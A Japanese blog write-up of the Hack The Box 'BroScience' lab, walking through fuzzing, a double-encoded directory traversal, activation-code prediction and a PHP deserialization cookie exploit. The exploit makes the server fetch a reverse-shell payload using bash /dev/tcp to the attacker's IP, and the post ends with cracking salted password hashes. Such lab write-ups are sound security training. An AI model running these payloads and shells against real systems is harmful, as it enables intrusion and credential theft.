1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【Hack The Box】BroScience【WriteUp】

Last updated at Posted at 2023-04-09

初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「BroScience」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

Discovery

ポートスキャン

今回はRustScanで高速スキャンしてみた。

┌──(root💀kali)-[~]
└─# rustscan -a 10.10.11.195 --top --ulimit 10000 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.11.195:22
Open 10.10.11.195:80
Open 10.10.11.195:443
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2023-01-15 10:21 JST
Initiating Ping Scan at 10:21
Scanning 10.10.11.195 [4 ports]
Completed Ping Scan at 10:21, 0.30s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:21
Completed Parallel DNS resolution of 1 host. at 10:21, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 10:21
Scanning 10.10.11.195 [3 ports]
Discovered open port 443/tcp on 10.10.11.195
Discovered open port 22/tcp on 10.10.11.195
Discovered open port 80/tcp on 10.10.11.195
Completed SYN Stealth Scan at 10:21, 0.30s elapsed (3 total ports)
Nmap scan report for 10.10.11.195
Host is up, received echo-reply ttl 63 (0.26s latency).
Scanned at 2023-01-15 10:21:05 JST for 0s

PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.71 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (160B)

ポート22、80、443が公開されてそう。
実際に80にアクセスしてみると、「broscience.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。

Collection

ドメイン環境設定

今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにしておく。

┌──(root💀kali)-[~/work]
└─# vim /etc/hosts   

以下を投入。

10.10.11.195    broscience.htb

疎通確認を行う。

┌──(root💀kali)-[~]
└─# ping broscience.htb
PING broscience.htb (10.10.11.195) 56(84) bytes of data.
64 bytes from broscience.htb (10.10.11.195): icmp_seq=1 ttl=63 time=269 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=2 ttl=63 time=274 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=3 ttl=63 time=269 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=4 ttl=63 time=270 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=5 ttl=63 time=271 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=6 ttl=63 time=269 ms
^C
--- broscience.htb ping statistics ---
7 packets transmitted, 6 received, 14.2857% packet loss, time 6017ms
rtt min/avg/max/mdev = 268.602/270.428/274.225/1.911 ms

サイト探索

Subdomain探索

以下サイトからサブドメインのリストをダウンロード

┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt

ffufで探索。301でリダイレクトされていることがわかったので弾く。

──(root💀kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u https://broscience.htb/ -H "HOST: FUZZ.broscience.htb" -fs 9308,1159 -fc 301 -mc all -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://broscience.htb/
 :: Wordlist         : FUZZ: ./bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.broscience.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response status: 301
 :: Filter           : Response size: 9308,1159
________________________________________________

いい結果は出てこない。

ディレクトリ探索

dirsearchを使用して探索を実施。

┌──(root💀kali)-[~]
└─# dirsearch -u http://broscience.htb/ 

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/broscience.htb/-_23-01-15_10-47-41.txt

Error Log: /root/.dirsearch/logs/errors-23-01-15_10-47-41.log

Target: http://broscience.htb/

[10:47:42] Starting: 
[10:48:49] 301 -  362B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js  ->  https://broscience.htb/Citrix/AccessPlatform/auth/clientscripts/cookies.js
[10:50:15] 301 -  352B  - /engine/classes/swfupload//swfupload_f9.swf  ->  https://broscience.htb/engine/classes/swfupload/swfupload_f9.swf
[10:50:15] 301 -  349B  - /engine/classes/swfupload//swfupload.swf  ->  https://broscience.htb/engine/classes/swfupload/swfupload.swf
[10:50:17] 301 -  359B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/  ->  https://broscience.htb/examples/jsp/%252e%252e/%252e%252e/manager/html/
[10:50:18] 301 -  337B  - /extjs/resources//charts.swf  ->  https://broscience.htb/extjs/resources/charts.swf
[10:50:27] 301 -  347B  - /html/js/misc/swfupload//swfupload.swf  ->  https://broscience.htb/html/js/misc/swfupload/swfupload.swf
                                                                            
Task Completed

いいものなし。ffufでやってみるか。
サブドメインリストを引っ張ってきたサイトからWebコンテンツリストを持ってくる。

┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-small.txt
┌──(root💀kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u https://broscience.htb/FUZZ -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://broscience.htb/FUZZ
 :: Wordlist         : FUZZ: ./directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

images                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 409ms]
includes                [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 493ms]
manual                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 282ms]
javascript              [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 325ms]
styles                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 337ms]
                        [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 1962ms]
:: Progress: [87664/87664] :: Job [1/1] :: 211 req/sec :: Duration: [0:22:31] :: Errors: 1373 ::

いいのがちょこちょこ出てきた。それぞれの階層へアクセスしてみる。
まずは「manual」へ。
2.png
続いて「images」
4.png
続いて「includes」
1.png
面白そうなPHPファイルがいっぱいあるので、とりあえずアクセスしてみる。
3.png
そうすると、上記の「img.php」で内部エラーのようなレスポンスが帰ってきた。
pathがないだって!?
それではimagesのそれぞれの画像を?path=で飛ばしてみる。そうすると200OKが帰ってくる。
トラバーサルできるのでは???

...トラバーサルを試す前にPHPを使っているサイトという事なので、トップ直下にどういったファイルがあるのかを.phpでファイジングしておく。

┌──(root💀kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u https://broscience.htb/FUZZ.php -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://broscience.htb/FUZZ.php
 :: Wordlist         : FUZZ: ./directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

# directory-list-2.3-small.txt [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 294ms]
# Copyright 2007 James Fisher [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 298ms]
#                       [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 306ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 316ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 317ms]
#                       [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 321ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 321ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 323ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 325ms]
#                       [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 292ms]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 291ms]
# on at least 3 different hosts [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 281ms]
                        [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 267ms]
#                       [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 276ms]
index                   [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 288ms]
login                   [Status: 200, Size: 1936, Words: 567, Lines: 42, Duration: 273ms]
register                [Status: 200, Size: 2161, Words: 635, Lines: 45, Duration: 317ms]
user                    [Status: 200, Size: 1309, Words: 300, Lines: 29, Duration: 313ms]
comment                 [Status: 302, Size: 13, Words: 3, Lines: 1, Duration: 271ms]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 271ms]
activate                [Status: 200, Size: 1256, Words: 293, Lines: 28, Duration: 409ms]
exercise                [Status: 200, Size: 1322, Words: 301, Lines: 28, Duration: 471ms]
                        [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 442ms]
:: Progress: [87664/87664] :: Job [1/1] :: 155 req/sec :: Duration: [0:09:34] :: Errors: 0 ::

loginページやregisterページ、userページがあるのは見えていたのだが、activateのページがあるのは見えていなかった。何かをアクティベーションするのかもしれないので心に留めておく。

Initial Access

ディレクトリトラバーサル

ディレクトリトラバーサル用のリストを以下サイトからダウンロードしてくる。

┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Directory%20Traversal/Intruder/directory_traversal.txt

ディレクトリトラバーサル実施。pathに叩き込む。

┌──(root💀kali)-[~/work]
└─# ffuf -w ./directory_traversal.txt:FUZZ -u https://broscience.htb/includes/img.php?path=FUZZ -t 100 -fs 0,30

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://broscience.htb/includes/img.php?path=FUZZ
 :: Wordlist         : FUZZ: ./directory_traversal.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 0,30
________________________________________________

%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34 [Status: 200, Size: 2235, Words: 26, Lines: 40, Duration: 273ms]
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34 [Status: 200, Size: 2235, Words: 26, Lines: 40, Duration: 274ms]
:: Progress: [140/140] :: Job [1/1] :: 38 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

引っかかったのでディレクトリトラバーサルの脆弱性があることが分かった。
このペイロードはユニコードのHEX値をいじくるURLエンコードを2回しているペイロードで、以下のCyberChefを使用すれば比較的簡単に理解できる。

このペイロードのレスポンスを確認すると、以下のように帰ってくる。
5.png
「/etc/passwd」が見えるのでこの部分を「/home/bill/.ssh/id_rsa」の階層で試してみる。
そのために簡易的なURLエンコードスクリプトを作成した。

encode.py
import sys

def doubleEncode(string):

    urlencode_first = ""
    urlencode_second = ""

    for character in string:
        decimal = ord(character)
        urlencode_first += "%" + hex(decimal)[2:]

    for character in urlencode_first:
        decimal = ord(character)
        urlencode_second += "%" + hex(decimal)[2:]

    return urlencode_second

tra = doubleEncode("../../../../")
file = doubleEncode(sys.argv[1])

print(tra+file)

此奴で試してみる。
6.png
ダメだった。Read権限とかないんじゃないかな?
それじゃ、見れそうなファイルを見ていくことにした。/includes/階層にあった各ファイルを取得していく。
「navbar.php」
9.png
「db_connect.php」
7.png
Passwordが乗ってたので試してみたが、これではログインできなかった。。。次を見る。
「utils.php」
8.png
activate.phpに関しそうなコードが記載されている。もう少し此奴を詳細に分析する必要がありそうだ。
以下に内容を転記する。

utils.php
<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
    $to = (($to === null) ? (time()) : ($to));
    $to = ((is_int($to)) ? ($to) : (strtotime($to)));
    $from = ((is_int($from)) ? ($from) : (strtotime($from)));

    $units = array
    (
        "year"   => 29030400, // seconds in a year   (12 months)
        "month"  => 2419200,  // seconds in a month  (4 weeks)
        "week"   => 604800,   // seconds in a week   (7 days)
        "day"    => 86400,    // seconds in a day    (24 hours)
        "hour"   => 3600,     // seconds in an hour  (60 minutes)
        "minute" => 60,       // seconds in a minute (60 seconds)
        "second" => 1         // 1 second
    );

    $diff = abs($from - $to);

    if ($diff < 1) {
        return "Just now";
    }

    $suffix = (($from > $to) ? ("from now") : ("ago"));

    $unitCount = 0;
    $output = "";

    foreach($units as $unit => $mult)
        if($diff >= $mult && $unitCount < 1) {
            $unitCount += 1;
            // $and = (($mult != 1) ? ("") : ("and "));
            $and = "";
            $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
            $diff -= intval($diff / $mult) * $mult;
        }

    $output .= " ".$suffix;
    $output = substr($output, strlen(", "));

    return $output;
}

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
                $this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

function get_theme_class($theme = null) {
    if (!isset($theme)) {
        $theme = get_theme();
    }
    if (strcmp($theme, "light")) {
        return "uk-light";
    } else {
        return "uk-dark";
    }
}

function set_theme($val) {
    if (isset($_SESSION['id'])) {
        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
    }
}

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
?>

activation_codeを送信すればアクティベートが出来そう???user-prefsのクッキーの記述も見られるので、アクティブになれば此奴がついてくるのか?
アクセスしてみる。
10.png
ぽい。
srand(time())の部分をユーザ作成日時に指定すればコードを取得してユーザをアクティべーとできるのではと考える。
とりあえずユーザを作成後、どうやってコードを送ることが出来るのか試してみた。

Activation

まずはURLのクエリ方式。それっぽいのを試してみる。
11.png
まずは失敗例。aクエリ。
12.png
続いてactivate_codeクエリ。
13.png
続いてcodeクエリ。此奴がクエリで間違いなさそう。ここにactivate_codeを記載すれば行けそう。
activate_codeを作成するために以下のコードを作成した。

active.php
<?php                                                                                                                                                         <?php
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; 
    srand(strtotime("Sun, 15 Jan 2023 05:22:34 GMT")); 
    $activation_code = ""; 
    for ($i = 0; $i < 32; $i++) { 
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)]; 
    } 
    echo $activation_code; 
?>

srandの部分をユーザ作成時のResponseの日時に設定した。
17.png

実行してみる。

┌──(root💀kali)-[~/work]
└─# php active.php
HQTqDxHtMQO6bmVdlycWf9R1k8aI0lXJ

これを?code=で飛ばしてみた。
14.png
上手くアクティベートできたみたいだ。
クッキーuser-prefsが作成されているか確認する。
16.png
作られている。

さて...ここからどうするか...

Persistence

Exploit検討

とりあえず、user-prefsがどのように使われるかutils.php見てみると、Userのライトダークのテーマ選択に使われてそうである。
しかもクッキーを直接シリアライズして読み込んでいるのでここにExploitを打ち込めそうである。
更にutils.phpを読み込んでみると興味深いクラスがあることを確認する。AvatorAvatarInterfaceだ。
これはおそらくだが、ユーザのアバター画像を取ってくるクラスと考えられる。imagepathを指定して直接取ってきているみたいだ。
....file_get_contentsって..これ遠隔からURL指定で取ってこさせることできるのでは??
ペイロードダウンロードさせることが出来るのでは?

というわけで、AvatorAvatarInterfaceをデシリアライズしてOverwriteします!!
クッキーに叩き込んでね!!

Reverseshell

リバースシェルの構成のために自身のIPを確認しておきます。
※この場合はtun0

┌──(root💀kali)-[~/work]
└─# ip a                                                                                                                                               1 ⨯
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever

...
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.14.10/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::101a/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::cf43:caa1:e355:737d/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever

続いてimagePathで指定するリバースシェルを作成

payload.php
<?php exec("bash -c 'bash -i >& /dev/tcp/10.10.14.10/4444 0<&1'");?>

上記を取ってきてほしいのでサーバを立ち上げておきます。

┌──(root💀kali)-[~/work]
└─# python3 -m http.server 80

user-prefsに叩き込むExploitを作成するために以下のPHPを作成

exploit.php
<?php
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp = "http://10.10.14.10/payload.php";
    public $imgPath = "./payload.php";

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$payload = base64_encode(serialize(new AvatarInterface));
echo $payload;
?>

上記を実行し、クッキーに叩き込むExploitを作成

┌──(root💀kali)-[~/work]
└─# php exploit.php 
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozMDoiaHR0cDovLzEwLjEwLjE0LjEwL3BheWxvYWQucGhwIjtzOjc6ImltZ1BhdGgiO3M6MTM6Ii4vcGF5bG9hZC5waHAiO30= 

レッツ!!!Exploit!!!
18.png
上手くいきました。

後はリバースシェルを起動させるだけ、待ち受けを起動しておきます。

┌──(root💀kali)-[~/work]
└─# nc -lnvp 4444

対象のURL「./payload.php」へアクセスします。
19.png
きた!!!でもまだwww-dataの権限のみでUser権限は取れてないです。

Credential Access

PostgreSQL

既に気づいている人もいると思うが、DBのクレデンシャル情報がわかっているので、psqlでアクセスしてみようと思う。
20.png

Password Hash

色々とユーザ情報を確認できたので、このPassword情報の復元を試してみようと思う。
MD5なので以下サイトで実施。

え...........
復元できない......
んなああんで...............

Johnでも一応確認するが、以下のように一緒である。

┌──(root💀kali)-[~/work]
└─# john -w:rockyou.txt hash.txt --format=Raw-md5
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2023-01-15 15:21) 0g/s 22066Kp/s 22066Kc/s 110333KC/s  fuckyooh21..*7¡Vamos!
Session completed

ここで数時間を要する。
ヒントがないかページのソースコードを漁っていると、login.phpに以下のような記述を発見する。

login.php
...
// Check if username:password is correct
$res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
$res = pg_execute($db_conn, "login_query", array($_POST['username'], md5($db_salt . $_POST['password'])));
...

$db_salt…これか…db_connect.phpの内部にこれが記述されている。

db_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>

これをパスワードの前に引っ付けてソルトってるわけだ。
ではリストファイルにもNaClを引っ付けて再度回してみる。

┌──(root💀kali)-[~/work]
└─# sed 's/^/NaCl/' ./rockyou.txt > salt_rock.txt

┌──(root💀kali)-[~/work]
└─# john -w:salt_rock.txt hash.txt --format=Raw-md5 
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
NaCliluvhorsesandgym (bill)
NaClAaronthehottest (dmytro)
NaCl2applesplus2apples (michael)
3g 0:00:00:00 DONE (2023-01-15 16:19) 3.947g/s 18872Kp/s 18872Kc/s 79155KC/s NaCl 08 22 0128..NaCl*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

おっけい、でてきた。
NaClを省いたやつでログインしてみる。
21.png
ログイン成功!!!ユーザ権限奪取!!!

まとめ

一般ユーザ権限までのWriteUPでした。
ちょっと書くの面倒になってきたのでここで終わろうかなとか思います。
特権昇格はpspy回してれば見つかると思うので、皆さん試してみて下さい!
見つけるまでが大変で、見つけた後はそのままシェル解析後、ペイロード打ち込むだけでOkです!

今回もセキュリティエンジニアの皆さんの助けになればなと思います。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?